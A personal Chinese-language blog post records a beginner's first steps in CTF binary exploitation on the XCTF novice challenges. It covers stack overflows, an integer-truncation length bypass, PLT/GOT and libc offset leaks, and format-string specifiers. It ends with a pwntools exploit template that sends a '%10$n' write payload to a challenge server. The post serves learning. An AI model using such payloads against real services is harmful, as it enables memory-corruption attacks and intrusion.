Jche
qwqqqqqq

pwn入门体验

2022-01-19 0-1--pwn

Water

today i do nothing but i open the test of pwn, so……,my first blog in 2022

Start

2022的第一篇博客,因为没接触过pwn就从攻防世界的新手题跟着做开始,找了一个视频跟着学和写,刚接触下来还是觉得比较有意思,但是听说看东西很折磨人)

Point

最开始的做题步骤首先是查位数,逆向中一般直接使用DIE就可以,在pwn里面可以直接file来查看文件的位数,这在编写exp文件的时候需要。然后是checksec命令,帮助我们看开了甚么保护。但打保护这方面我还没有学到,记得查就对了,养成好习惯。

1
2
1 --  file 文件名
2 -- checksec --file=文件名
这里可以看到是一个32位的文件了,下一步是在ida里进行静态分析,然后确定漏洞类型,整理逻辑。

栈溢出

一开始的题就是栈溢出,比较好理解。通过溢出覆盖字节为你想要的内容来得到flag。一般都会有if语句判断数据是否等于一个规定的数据,通过溢出写入数据就可以达成目的。

溢出点

关于我做了一丢丢题,一般溢出点都会是buf等等,通过write,read,get等函数来溢出。要注意有漏洞的函数然后观察是否有溢出的可能性。

数据类型

有一道题他需要溢出14+4个字节,但检验了填入数据的长度3-8,也就是说没办法填入那么多垃圾数据来溢出,这里解决的方法是转眼到了数据类型,因为是unsigned short int,所以用8bit位来算0x101就变成了0x1,即可以257 + 2 ~ 257 + 7都可以通过检测。

system

system函数与plt表和got表有关,在用于构造跳转时经常会用到两个表,有system函数说明在plt表中有该函数的地址,溢出返回地址需要为它的地址。跳转到返回地址后填入数据再写入想要的数据。在pwn题里经常需要构造结构来写payload去写入数据,要搞清楚思路和栈里的结构就会很好写脚本。

libc泄露

libc文件和文件中的地址是不同的,不能直接用文件中的地址去打,会找到错误的地方,但地址之间的偏移量是固定的,所以可以计算文件和libc文件中的相应函数之间的固定偏移量,运用偏移量来寻址。从而继续构造结构来写脚本的payload。

格式化字符串漏洞

还没仔细看资料,只是知道有这个东西,可以配合%n来写入数据,格式化字符串漏洞一般都需要调试文件,写入测试数据和一堆%p(地址)来找到漏洞的位置以便写入文件需要的数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
%c:输出字符,配上%n可用于向指定地址写数据。

%d:输出十进制整数,配上%n可用于向指定地址写数据。

%x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。

%p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。

%s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。

%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100×10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。

%n是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合%n写数据。

参考

攻防世界新手区详细的每道题解在这里http://www.peiqi.tech/posts/7499/#when-did-you-born

exp.py

通过写exp.py文件来打,模板和注意就放在这里。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import*

context(os = 'linux', arch = 'x86', log_level = 'debug') #x86是32位文件,amd64就是64位文件
content = 0 #攻击远程,打本地是1
pwn_addr = 0x0804A068 #一般将地址写在这里
#如果是elf文件中可以寻址
#elf = ELF("level3") elf文件寻址需要写这个
#lib = ELF("libc_32.so.6") libc文件寻址需要写这个
#write_plt_addr = elf.plt["write"]

def main(): #main函数
global sh
if content == 1: #打本地
sh = process('CGfsb') #文件名
else: #打远程
sh = remote("111.200.241.244",63601) #端口和ip

payload = p32(pwn_addr) + b'aaaa' + b'%10$n' #payload一般就是写入,填入数据的话需要以byte(字节流)的形式填入,不然会出错,这里的写入的地址等都要以p32或者p64来打包
sh.sendlineafter("please tell me your name:\n","1") #sendlineafter,前面是程序中的语句,后面是你需要输入的东西
sh.sendlineafter("leave your message please:\n",payload)

sh.interactive()#接收信息

main()

END

少打音游多读书

Author: John Doe

Link: http://example.com/2022/01/19/pwnstart/

Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.

< PreviousPost
C++ Reserve 阅读
NextPost >
XXTEA python
CATALOG
  1. 1. Water
  2. 2. Start
  3. 3. Point
    1. 3.1. 栈溢出
    2. 3.2. 溢出点
    3. 3.3. 数据类型
    4. 3.4. system
    5. 3.5. libc泄露
    6. 3.6. 格式化字符串漏洞
    7. 3.7. 参考
  4. 4. exp.py
  5. 5. END